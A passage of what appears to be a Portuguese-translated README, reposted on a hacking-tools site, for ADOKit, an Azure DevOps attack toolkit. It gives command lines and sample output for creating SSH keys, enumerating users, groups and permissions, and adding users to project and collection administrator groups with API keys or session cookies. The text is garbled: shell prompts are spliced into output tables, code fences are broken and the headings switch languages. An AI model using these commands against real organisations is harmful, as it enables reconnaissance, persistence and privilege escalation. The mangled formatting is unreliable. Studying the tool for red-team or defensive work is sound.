Timestamp: 4/3/2023 2:51:22 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                          SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key

root@kitploit:~
fbde9f3e-bbe3-4442-befb-c2ddeab75c58 |                       ADOKit-iCBfYfFR |                      app_token |           4/3/2024 12:00:00 AM |   ...hOLNYMk5LkbLRMG36RE=

4/3/23 18:51:24 Finished execution of createsshkey

root@kitploit:~
### Listar Chaves SSH

#### Caso de Uso

> *Listar todas as chaves SSH públicas de um determinado usuário em uma instância do Azure DevOps.*

#### Sintaxe

Forneça o módulo `listsshkey`, juntamente com as informações de autenticação relevantes e a URL. Isso exibirá o ID da Chave SSH, nome, escopo e data de validade para todas as chaves SSH ativas do usuário. Além disso, imprimirá os últimos 20 caracteres da chave SSH pública.

`ADOKit.exe listsshkey /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Exemplo de Saída```
C:\>ADOKit.exe listsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listsshkey
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 11:37:10 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                              SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
    ec056907-9370-4aab-b78c-d642d551eb98 |                   test-ssh-key |                      app_token |            4/3/2024 3:13:58 PM |   ...nDoYAPisc/pEFArVVV0=

4/3/23 15:37:11 Finished execution of listsshkey

Remover Chave SSH

Caso de Uso

Remover uma chave SSH para um determinado usuário em uma instância do Azure DevOps.

Sintaxe

Forneça o módulo removesshkey, juntamente com quaisquer informações de autenticação relevantes e URL. Além disso, forneça o ID da chave SSH no argumento /id:. Isso indicará se a chave SSH foi removida ou não e, em seguida, listará as chaves SSH ativas atuais para o usuário após realizar a remoção.

ADOKit.exe removesshkey /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...

ADOKit.exe removesshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...

Exemplo de Saída```

C:>ADOKit.exe removesshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:a199c036-d7ed-4848-aae8-2397470aff97

================================================== Module: removesshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 1:50:08 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[+] SUCCESS: SSH key with ID a199c036-d7ed-4848-aae8-2397470aff97 was removed successfully.

root@kitploit:~
                          SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key

root@kitploit:~
ec056907-9370-4aab-b78c-d642d551eb98 |                   test-ssh-key |                      app_token |            4/3/2024 3:13:58 PM |   ...nDoYAPisc/pEFArVVV0=

4/3/23 17:50:09 Finished execution of removesshkey

root@kitploit:~
### Listar Utilizadores

#### Caso de Uso

> *Listar utilizadores numa instância do Azure DevOps*

#### Sintaxe

Forneça o módulo `listuser`, juntamente com qualquer informação de autenticação relevante e URL. Isto irá exibir o nome de utilizador, nome de exibição e nome principal do utilizador.

`ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Exemplo de Saída```
C:\>ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listuser
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 4:12:07 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                          Username |                                       Display Name |                                                UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                             user1 |                                             User 1 |             [email protected]
                                          jsmith |                                        John Smith |          [email protected]
                                           rsmith |                                       Ron Smith |           [email protected]
                                             user2 |                                             User 2 |             [email protected]

4/3/23 20:12:08 Finished execution of listuser

Pesquisar Utilizador

Caso de Uso

Pesquisar por utilizador(es) específico(s) numa instância do Azure DevOps

Sintaxe

Forneça o módulo searchuser e os seus critérios de pesquisa no argumento de linha de comando /search:, juntamente com qualquer informação de autenticação relevante e URL. Isto irá exibir o nome de utilizador correspondente, nome de exibição e nome principal do utilizador.

ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/organizationName /search:user

ADOKit.exe searchuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:user

Exemplo de Saída```

C:>ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"user"

================================================== Module: searchuser Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 4:12:23 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                      Username |                                       Display Name |                                                UPN

root@kitploit:~
                                         user1 |                                             User 1 |             [email protected]
                                         user2 |                                             User 2 |             [email protected]

4/3/23 20:12:24 Finished execution of searchuser

root@kitploit:~
### Listar Equipes

#### Caso de Uso

> *Listar equipes dentro de uma instância do Azure DevOps*

#### Sintaxe

Forneça o módulo `listteam`, juntamente com qualquer informação de autenticação relevante e URL. Isso exibirá o nome da equipe, nome do projeto e descrição da equipe.

`ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Exemplo de Saída```
C:\>ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listteam
Auth Type:      API Key
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      5/31/2024 9:48:26 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                         Team Name |                        Project |                                        Description
----------------------------------------------------------------------------------------------------------------------------------------
                     ProjectWithMultipleRepos Team |       ProjectWithMultipleRepos |                          The default project team.
                                 MaraudersMap Team |                   MaraudersMap |                          The default project team.
                                 TestProject2 Team |                   TestProject2 |                          The default project team.
                                  TestProject Team |                    TestProject |                          The default project team.

Pesquisar Equipe

Caso de Uso

Pesquise por equipe(s) específica(s) em instância do Azure DevOps

Sintaxe

Forneça o módulo searchteam e seus critérios de pesquisa no argumento de linha de comando /search:, juntamente com qualquer informação de autenticação relevante e URL. Isso exibirá o nome da equipe, nome do projeto e descrição da equipe.

ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam

ADOKit.exe searchteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam

Exemplo de Saída```

C:>ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:test

================================================== Module: searchteam Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 9:48:32 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                     Team Name |                        Project |                                        Description

root@kitploit:~
                             TestProject2 Team |                   TestProject2 |                          The default project team.
                              TestProject Team |                    TestProject |                          The default project team.
root@kitploit:~
### Obter Membros da Equipe

#### Caso de Uso

> *Obter membros da equipe para uma determinada equipe*

#### Sintaxe

Forneça o módulo `getteammembers` e seus critérios de pesquisa no argumento de linha de comando `/search:`, juntamente com quaisquer informações de autenticação relevantes e URL. Isso resultará no nome da equipe, nome de usuário do membro da equipe e nome de exibição do membro da equipe.

`ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam`

`ADOKit.exe getteammembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam`

#### Exemplo de Saída```
C:\source\ADOKit-main\ADOKit\bin\Release>ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"dev team"

==================================================
Module:         getteammembers
Auth Type:      API Key
Search Term:    dev team
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      5/31/2024 10:45:11 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                         Team Name |                                     Username |                                  User Display Name
-------------------------------------------------------------------------------------------------------------------------------------------------------
                                          Dev Team |             [email protected] |                                             User 1
                                          Dev Team |             [email protected] |                                              user3
                                          Dev Team |             [email protected] |                                              user4

List Groups

Caso de Uso

Listar grupos em uma instância do Azure DevOps

Sintaxe

Forneça o módulo listgroup, juntamente com as informações de autenticação relevantes e a URL. Isso exibirá o nome principal do usuário, o nome de exibição e a descrição do grupo.

ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Exemplo de Saída```

C:>ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization

================================================== Module: listgroup Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 4:48:45 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                           UPN |                                       Display Name |                                        Description

root@kitploit:~
                    [TestProject]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
           [TestProject2]\Build Administrators |                               Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project-Scoped Users |                               Project-Scoped Users | Members of this group will have limited visibility to  organization-level data

[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds. [MaraudersMap]\Readers | Readers | Members of this group have access to the team project. [YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection. [MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team. [TEAM FOUNDATION]\Enterprise Service Accounts | Enterprise Service Accounts | Members of this group have service-level permissions in this enterprise. For service accounts only. [YourOrganization]\Security Service Group | Security Service Group | Identities which are granted explicit permission to a resource will be automatically added to this group if they were not previously a member of any other group. [TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management

---SNIP---

4/3/23 20:48:46 Finished execution of listgroup

root@kitploit:~
### Grupos de Pesquisa

#### Caso de Uso

> *Pesquisar por grupo(s) específico(s) na instância do Azure DevOps*

#### Sintaxe

Forneça o módulo `searchgroup` e seus critérios de pesquisa no argumento de linha de comando `/search:`, juntamente com as informações de autenticação e URL relevantes. Isso exibirá o nome principal do usuário, nome de exibição e descrição para o grupo correspondente.

`ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/organizationName /search:"someGroup"`

`ADOKit.exe searchgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:"someGroup"`

#### Exemplo de Saída```
C:\>ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"admin"

==================================================
Module:         searchgroup
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 4:48:41 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                                                   UPN |                   Display Name |                                        Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                   [TestProject2]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                       [ProjectWithMultipleRepos]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                                  [TestProject]\Release Administrators |         Release Administrators | Members of this group can perform all operations on Release Management
                                    [TestProject]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                                 [MaraudersMap]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
                                 [TestProject2]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
           [YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
                     [ProjectWithMultipleRepos]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
                                   [MaraudersMap]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
     [YourOrganization]\Project Collection Build Administrators | Project Collection Build Administrators | Members of this group should include accounts for people who should be able to administer the build resources.
                                  [TestProject]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.

4/3/23 20:48:42 Finished execution of searchgroup

Obter Membros do Grupo

Caso de Uso

Listar todos os membros do grupo para um determinado grupo

Sintaxe

Forneça o módulo getgroupmembers e o(s) grupo(s) que deseja pesquisar no argumento de linha de comando /group:, juntamente com qualquer informação de autenticação relevante e URL. Isso exibirá o nome principal do usuário do grupo correspondente, juntamente com cada membro do grupo, incluindo o endereço de e-mail e nome de exibição do usuário.

ADOKit.exe getgroupmembers /credential:apiKey /url:https://dev.azure.com/organizationName /group:"someGroup"

ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /group:"someGroup"

Exemplo de Saída```

C:>ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /group:"admin"

================================================== Module: getgroupmembers Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 9:11:03 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                               [TestProject2]\Build Administrators |             [email protected] |                                             User 1
                               [TestProject2]\Build Administrators |             [email protected] |                                             User 2
                             [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins
                             [MaraudersMap]\Project Administrators |           [email protected] |                                       Ron Smith
                             [TestProject2]\Project Administrators |             [email protected] |                                             User 1
                             [TestProject2]\Project Administrators |             [email protected] |                                             User 2
       [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith
                 [ProjectWithMultipleRepos]\Project Administrators | [email protected] |                                      Brett Hawkins
                               [MaraudersMap]\Build Administrators | [email protected] |                                      Brett Hawkins

4/4/23 13:11:09 Finished execution of getgroupmembers

root@kitploit:~
### Obter Permissões do Projeto

#### Caso de Uso

> *Obter uma lista de quem tem permissões para um determinado projeto.*

#### Sintaxe

Forneça o módulo `getpermissions` e o projeto que você deseja pesquisar no argumento de linha de comando `/project:`, juntamente com quaisquer informações de autenticação relevantes e URL. Isso produzirá o nome principal do usuário, nome de exibição e descrição para o grupo correspondente. Além disso, isso produzirá os membros do grupo para cada um desses grupos.

`ADOKit.exe getpermissions /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someproject"`

`ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someproject"`

#### Exemplo de Saída```
C:\>ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

==================================================
Module:         getpermissions
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 9:11:16 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                               UPN |                                       Display Name |                                        Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
               [MaraudersMap]\Build Administrators |                               Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                       [MaraudersMap]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
                  [MaraudersMap]\MaraudersMap Team |                                  MaraudersMap Team |                          The default project team.
             [MaraudersMap]\Project Administrators |                             Project Administrators | Members of this group can perform all operations in the team project.
                [MaraudersMap]\Project Valid Users |                                Project Valid Users | Members of this group have access to the team project.
                            [MaraudersMap]\Readers |                                            Readers | Members of this group have access to the team project.


[*] INFO: Listing group members for each group that has permissions to this project



GROUP NAME: [MaraudersMap]\Build Administrators

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


GROUP NAME: [MaraudersMap]\Contributors

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                           [MaraudersMap]\Contributors |             [email protected] |                                             User 1
                                           [MaraudersMap]\Contributors |             [email protected] |                                             User 2


GROUP NAME: [MaraudersMap]\MaraudersMap Team

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                      [MaraudersMap]\MaraudersMap Team | [email protected] |                                      Brett Hawkins


GROUP NAME: [MaraudersMap]\Project Administrators

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                 [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins


GROUP NAME: [MaraudersMap]\Project Valid Users

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


GROUP NAME: [MaraudersMap]\Readers

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                                [MaraudersMap]\Readers |          [email protected] |                                        John Smith

4/4/23 13:11:18 Finished execution of getpermissions

Adicionar Administrador de Projeto

Caso de Uso

Adicionar um usuário ao grupo de Administradores de Projeto para um determinado projeto.

Sintaxe

Forneça o módulo addprojectadmin junto com /project: e /user: para que um determinado usuário seja adicionado ao grupo Project Administrators para o projeto especificado. Além disso, forneça quaisquer informações de autenticação relevantes e URL. Veja a Tabela de Detalhes do Módulo para as permissões necessárias para realizar esta ação.

ADOKit.exe addprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

Exemplo de Saída```

C:>ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

================================================== Module: addprojectadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 2:52:45 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                             [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins
                             [MaraudersMap]\Project Administrators |             [email protected] |                                             User 1

4/4/23 18:52:47 Finished execution of addprojectadmin

root@kitploit:~
### Remover Administrador do Projeto

#### Caso de Uso

> *Remove um usuário do grupo de Administradores do Projeto para um determinado projeto.*

#### Sintaxe

Forneça o módulo `removeprojectadmin` junto com `/project:` e `/user:` para que um determinado usuário seja removido do grupo `Project Administrators` do projeto. Além disso, forneça as informações de autenticação relevantes e a URL. Consulte a [Tabela de Detalhes do Módulo](#module-details-table) para as permissões necessárias para realizar esta ação.

`ADOKit.exe removeprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

`ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

#### Exemplo de Saída```
C:\>ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

==================================================
Module:         removeprojectadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 3:19:43 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                 [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins

4/4/23 19:19:44 Finished execution of removeprojectadmin

Adicionar Admin de Build

Caso de Uso

Adicionar um usuário ao grupo de Administradores de Build para um determinado projeto.

Sintaxe

Forneça o módulo addbuildadmin com um /project: e /user: para que um determinado usuário seja adicionado ao grupo Build Administrators para o projeto especificado. Além disso, forneça junto qualquer informação de autenticação relevante e URL. Veja a Tabela de Detalhes do Módulo para as permissões necessárias para executar esta ação.

ADOKit.exe addbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

Exemplo de Saída```

C:>ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

================================================== Module: addbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 3:41:51 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Build Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                               [MaraudersMap]\Build Administrators |             [email protected] |                                             User 1

4/4/23 19:41:55 Finished execution of addbuildadmin

root@kitploit:~
### Remover Administrador de Build

#### Caso de Uso

> *Remove um usuário do grupo Administradores de Build de um determinado projeto.*

#### Sintaxe

Forneça o módulo `removebuildadmin` junto com `/project:` e `/user:` para um determinado usuário ser removido do grupo `Build Administrators` do projeto em questão. Além disso, forneça as informações de autenticação relevantes e a URL. Consulte a [Tabela de Detalhes do Módulo](#module-details-table) para as permissões necessárias para realizar esta ação.

`ADOKit.exe removebuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

`ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

#### Exemplo de Saída```
C:\>ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

==================================================
Module:         removebuildadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 3:42:10 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Build Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

4/4/23 19:42:11 Finished execution of removebuildadmin

Adicionar Administrador de Coleção

Caso de Uso

Adicionar um usuário ao grupo de Administradores da Coleção de Projetos.

Sintaxe

Forneça o módulo addcollectionadmin junto com /user: para um determinado usuário que será adicionado ao grupo Administradores da Coleção de Projetos. Além disso, forneça as informações de autenticação relevantes e a URL. Veja a Tabela de Detalhes do Módulo para as permissões necessárias para executar esta ação.

ADOKit.exe addcollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Exemplo de Saída```

C:>ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 4:04:40 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Administrators group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
       [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith
       [YourOrganization]\Project Collection Administrators |             [email protected] |                                             User 1

4/4/23 20:04:43 Finished execution of addcollectionadmin

root@kitploit:~
### Remover Admin de Coleção

#### Caso de Uso

> *Remover um usuário do grupo Project Collection Administrators.*

#### Sintaxe

Forneça o módulo `removecollectionadmin` com um `/user:` para um determinado usuário ser removido do grupo `Project Collection Administrators`. Além disso, forneça junto quaisquer informações de autenticação relevantes e URL. Veja a [Tabela de Detalhes do Módulo](#module-details-table) para as permissões necessárias para executar esta ação.

`ADOKit.exe removecollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### Exemplo de Saída```
C:\>ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 4:10:35 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Administrators group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
           [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith

4/4/23 20:10:38 Finished execution of removecollectionadmin

Adicionar Administrador de Compilação de Coleção

Caso de Uso

Adicionar um usuário ao grupo Administradores de Compilação da Coleção de Projetos.

Sintaxe

Forneça o módulo addcollectionbuildadmin juntamente com um /user: para um determinado usuário ser adicionado ao grupo Project Collection Build Administrators. Além disso, forneça quaisquer informações de autenticação relevantes e URL. Consulte a Tabela de Detalhes do Módulo para as permissões necessárias para realizar esta ação.

ADOKit.exe addcollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Exemplo de Saída

Nenhuma saída é retornada por este módulo``` C:>ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 8:21:39 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Build Administrators group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
 [YourOrganization]\Project Collection Build Administrators |             [email protected] |                                             User 1

4/5/23 12:21:42 Finished execution of addcollectionbuildadmin

root@kitploit:~
### Remover Administrador de Compilação da Coleção

#### Caso de Uso

> *Remover um utilizador do grupo de Administradores de Compilação da Coleção de Projetos.*

#### Sintaxe

Forneça o módulo `removecollectionbuildadmin` juntamente com um `/user:` para um determinado utilizador ser removido do grupo `Project Collection Build Administrators`. Adicionalmente, forneça qualquer informação de autenticação relevante e o URL. Consulte a [Tabela de Detalhes do Módulo](#module-details-table) para as permissões necessárias para realizar esta ação.

`ADOKit.exe removecollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### Exemplo de Saída```
C:\>ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionbuildadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 8:21:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Build Administrators group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

4/5/23 12:22:02 Finished execution of removecollectionbuildadmin

Adicionar Conta de Serviço de Build da Coleção

Caso de Uso

Adicionar um usuário ao grupo Contas de Serviço de Build da Coleção do Projeto.

Sintaxe

Forneça o módulo addcollectionbuildsvc junto com /user: para um determinado usuário ser adicionado ao grupo Project Collection Build Service Accounts. Além disso, forneça as informações de autenticação relevantes e a URL. Consulte a Tabela de Detalhes do Módulo para as permissões necessárias para executar esta ação.

ADOKit.exe addcollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Exemplo de Saída```

C:>ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionbuildsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 8:22:13 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Build Service Accounts group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

[YourOrganization]\Project Collection Build Service Accounts | [email protected] | User 1

4/5/23 12:22:15 Finished execution of addcollectionbuildsvc

root@kitploit:~
### Remover Conta de Serviço de Compilação da Coleção

#### Caso de Uso

> *Remover um usuário do grupo Contas de Serviço de Compilação da Coleção do Projeto.*

#### Sintaxe

